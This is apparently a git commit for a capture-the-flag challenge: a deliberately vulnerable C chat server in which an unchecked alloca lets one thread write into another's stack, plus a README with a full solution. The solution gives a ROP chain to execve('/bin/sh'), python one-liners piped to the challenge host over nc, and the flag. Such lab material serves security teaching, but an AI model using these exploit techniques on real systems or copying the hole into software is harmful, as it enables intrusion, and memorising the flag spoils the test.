From 3d08e101f293f6998ee0766e0e238e75469d0862 Mon Sep 17 00:00:00 2001 From: n0p <0x90@n0p.cc> Date: Thu, 24 Oct 2019 20:51:03 +0200 Subject: init --- README.md | 134 ++++++++++++++++++++++++++++++++++++++ chat | Bin 0 -> 787916 bytes chat.c | 220 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 354 insertions(+) create mode 100644 README.md create mode 100755 chat create mode 100644 chat.c diff --git a/README.md b/README.md new file mode 100644 index 0000000..a02cce3 --- /dev/null +++ b/README.md @@ -0,0 +1,134 @@ +Chat +==== + +# Author +n0p + +# Challenge Text +To coordinate our efforts for a better future we started to build a chat program. While it doesn't have much functionality, yet, maybe you could have a look at it already to see if you can find any serious vulnerabilities. You know, better save than sorry!
+
+nc chat.forfuture.fluxfingers.net 1337 + +# Challenge Idea +[ROP/Etc. in the stack of another thread.](https://blog.exodusintel.com/2013/01/07/who-was-phone/) + +# Setup + +Compiling the Sources: +``` +clang -no-pie -static chat.c -lpthread -ochat -Wl,-z,now -Wl,-z,relro +strip -g chat +``` + +Docker from: +``` +FROM i386/alpine +``` + +Docker entrypoint: +``` +ENTRYPOINT ["/usr/bin/socat", "-t5", "-T60", "tcp-listen:1337,max-children=50,reuseaddr,fork", "exec:./chat,pty,raw,stderr,echo=0"] +``` + +# Solution +Idea: + +* There is enough space in the command variable to place the string '/bin/sh', argv, and envp in the bss section. +* Create two channels and allocate enough memory with `alloca` via the echo command in the first channel to write to the stack of the second channel. +* ROP to execve. + +``` +# create channel 1 +/nc\n +# pause channel 1 and return to command channel +/pc\n + +# create channel 2 +/nc\n +# pause channel 2 and return to command channel +/pc\n + +# join channel 1 again +/jc 1\n + +# echo a message +/e\n +# length of the message is 250000 -> we write to the stack of channel 2 +# + 2 NULL bytes (two because I like 0xC more than 0xB) + '/bin/sh' + NULL byte + addr of '/bin/sh' string in command + NULL dword +250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n +# send rop code +\x00\x00\x00\x00\x40\x74\x0f\x08\x34\x74\x0f\x08\x1e\x90\x04\x08\x2c\x74\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n + +# terminate channel 1 +/qc\n + +# join channel 2 +/jc 2\n +``` + +The function who's return address gets overwritten is `__kernel_vsyscall`: +``` + → 0xf7ffdb20 <__kernel_vsyscall+0> push ecx + 0xf7ffdb21 <__kernel_vsyscall+1> push edx + 0xf7ffdb22 <__kernel_vsyscall+2> push ebp + 0xf7ffdb23 <__kernel_vsyscall+3> mov ebp, esp + 0xf7ffdb25 <__kernel_vsyscall+5> sysenter + 0xf7ffdb27 <__kernel_vsyscall+7> int 0x80 +``` +This function is called at address 0x08079004 in poll: +``` +.text:08078FE8 loc_8078FE8: ; CODE XREF: poll+19↑j +.text:08078FE8 mov [esp+1Ch+var_10], edx +.text:08078FEC mov [esp+1Ch+var_14], ecx +.text:08078FF0 call __libc_enable_asynccancel +.text:08078FF5 mov ecx, [esp+1Ch+var_14] +.text:08078FF9 mov edx, [esp+1Ch+var_10] +.text:08078FFD mov esi, eax +.text:08078FFF mov eax, 0A8h +.text:08079004 call large dword ptr gs:10h +.text:0807900B cmp eax, 0FFFFF000h +.text:08079010 ja short loc_807903A +``` + +As one can see, the registers ecx and edx are pushed at the beginning of `__kernel_vsyscall`. Therefore, we can set ecx and edx conveniently due to `__kernel_vsyscall`'s pops of these registers before its return. + +ROP dissected: +``` +# ebp +\x00\x00\x00\x00 + +# edx -> envp points to NULL dword in command buffer -> envp = [NULL] +\x98\x73\x0f\x08 + +# ecx -> argv points in command buffer -> argv = ["/bin/sh", NULL] +\x94\x73\x0f\x08 + +# ret -> 0x0804901e : pop ebx ; ret +\x1e\x90\x04\x08 +# ebx -> addr of nick with '/bin/sh' +\x8c\x73\x0f\x08 + +# ret -> 0x08051cf6 : pop eax ; ret +\xf6\x1c\x05\x08 +# eax -> shell code number +\x0b\x00\x00\x00 + +# ret -> 0x0807D3D0 : int 0x80 ; retn (_dl_sysinfo_int80) +\xd0\xd3\x07\x08 +``` + +This results in these commands: +``` +(python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | ./chat +``` +``` +(python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | nc chat.forfuture.fluxfingers.net 1337 +``` + +Apparently, the remote solution required `execve('/bin/sh', ["/bin/sh", NULL], [NULL])` and didn't accept `execve('/bin/sh', [NULL], [NULL])`. However, this text book solution had the first execve to begin with and the requirement hasn't been noticed in time. + +# Difficulty +Easy + +# Flag +flag{thread_chat_with_alloca} \ No newline at end of file diff --git a/chat b/chat new file mode 100755 index 0000000..3e086eb Binary files /dev/null and b/chat differ diff --git a/chat.c b/chat.c new file mode 100644 index 0000000..dafcaf3 --- /dev/null +++ b/chat.c @@ -0,0 +1,220 @@ +// clang -no-pie -static chat.c -lpthread -ochat -Wl,-z,now -Wl,-z,relro +// strip -g chat + +#include +#include +#include +#include +#include +#include +#include + + +#define MAXCHANNELS 5 + +static int cpipe[2]; + +static pthread_t channels[MAXCHANNELS]; +static int active[MAXCHANNELS] = {0}; +static int pipes[MAXCHANNELS][2]; + +static bool quit = false; + +#define QUIT_CHANNEL(x) do { \ + active[x] = 2; \ + return NULL; \ + } while (0); + +static char command[32] = {0}; + + +static int wait_loop(bool is_command_channel, int channel) { + struct pollfd pfd; + if (is_command_channel) { + pfd.fd = cpipe[0]; + } else { + pfd.fd = pipes[channel][0]; + } + pfd.events = POLLIN; + + if (is_command_channel && channel != -1) { + write(pipes[channel][1], "c", 1); + } else if (!is_command_channel) { + write(cpipe[1], "c", 1); + } + + while (1) { + int ret; + if ((ret = poll(&pfd, 1, 1000)) == -1) { + // error + return 1; + } else if (ret == 0) { + // timeout + if (quit == true) { + return 1; + } + continue; + } + + char c; + if (is_command_channel) { + read(cpipe[0], &c, 1); + } else { + read(pipes[channel][0], &c, 1); + } + break; + } + + return 0; +} + +static void chat_channel_help() { + printf("Chat Commands:\n" + "\t/e\t- Echo - The first line following this command specifies the number of characters to echo.\n" + "\t/pc\t- Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.\n" + "\t/qc\t- Quit Chat Channel - Return to Command Channel. The Chat Channel is terminated.\n" + "\t/h\t- Help - Print this help message.\n" + "That's all for now :/\n"); +} + +static void *chat_channel_handler(void * arg) { + int channel = (int) arg; + + if (pipe(pipes[channel]) == -1) { + printf("Chat Channel Creation Failed: Pipes\n"); + QUIT_CHANNEL(channel); + } + + printf("Chat Channel %d:\n", channel+1); + + while (1) { + printf("> "); + + if(!fgets(command, 32, stdin)) { + QUIT_CHANNEL(channel); + } + + if (strlen(command) == 3 && command[0] == '/' && command[1] == 'e') { + if(!fgets(command, 32, stdin)) { + printf("Chat Command Error: Reading Echo Size\n"); + } + + int length = atoi(command) + 1; + char *line = (char *)alloca(length); + + if (!fgets(line, length, stdin)) { + QUIT_CHANNEL(channel); + } + + write(1, line, strlen(line)); + write(1, "\n", 1); + } else if (strlen(command) == 4 && command[0] == '/' && command[1] == 'p' && command[2] == 'c') { + if (wait_loop(false, channel)) { + QUIT_CHANNEL(channel); + } + + printf("Chat Channel %d:\n", channel+1); + } else if (strlen(command) == 4 && command[0] == '/' && command[1] == 'q' && command[2] == 'c') { + write(cpipe[1], "c", 1); + QUIT_CHANNEL(channel); + } else if (strlen(command) == 3 && command[0] == '/' && command[1] == 'h') { + chat_channel_help(); + } + } +} + +static void command_channel_help() { + printf("Command Commands:\n" + "\t/nc\t- New Chat Channel - Create and join a new Chat Channel.\n" + "\t/jc x\t- Join Chat Channel - Join the Chat Channel number x.\n" + "\t/lc\t- List Chat Channels - Lists the Chat Channels.\n" + "\t/q\t- Quit - Quit this awesome chat program.\n" + "\t/h\t- Help - Print this help message.\n"); +} + +int main() { + if (pipe(cpipe) == -1) { + return 1; + } + + printf("Command Channel:\n"); + + while (1) { + printf("> "); + + if(!fgets(command, 32, stdin)) { + return 1; + } + + if (strlen(command) == 4 && command[0] == '/' && command[1] == 'n' && command[2] == 'c') { + int channel = -1; + for (int i = 0; i < MAXCHANNELS; i++) { + if (active[i] == 0) { + channel = i; + break; + } + } + + if (channel == -1) { + printf("Chat Channel Creation Failed: No channel slots left\n"); + } else { + pthread_attr_t attr; + pthread_attr_init(&attr); + pthread_attr_setstacksize(&attr, 0x3C000); + + pthread_create(&channels[channel], &attr, chat_channel_handler, (void *)channel); + active[channel] = 1; + + wait_loop(true, -1); + printf("Command Channel:\n"); + } + } else if (command[0] == '/' && command[1] == 'j' && command[2] == 'c' && command[3] == ' ') { + printf("Joining Chat Channel.\n"); + + int channel = atoi(command + 4) - 1; + + if (0 <= channel && channel < MAXCHANNELS && active[channel] == 1) { + wait_loop(true, channel); + printf("Command Channel:\n"); + } else { + printf("Invalid Chat Channel number.\n"); + } + } else if (strlen(command) == 4 && command[0] == '/' && command[1] == 'l' && command[2] == 'c') { + printf("Chat Channels:\n"); + + for (int i = 0; i < MAXCHANNELS; i++) { + if (active[i] == 1) { + printf("\tChat Channel %d\n", i+1); + } + } + } else if (strlen(command) == 3 && command[0] == '/' && command[1] == 'q') { + printf("Quitting.\n"); + quit = true; + break; + } else if (strlen(command) == 3 && command[0] == '/' && command[1] == 'h') { + command_channel_help(); + } else { + printf("Invalid command.\n"); + } + + for (int i = 0; i < MAXCHANNELS; i++) { + if (active[i] == 2) { + pthread_join(channels[i], NULL); + close(pipes[i][0]); + close(pipes[i][1]); + active[i] = 0; + } + } + } + + for (int i = 0; i < MAXCHANNELS; i++) { + if (active[i] == 1 || active[i] == 2) { + pthread_join(channels[i], NULL); + } + } + + close(cpipe[0]); + close(cpipe[1]); + + return 0; +} -- cgit v1.2.3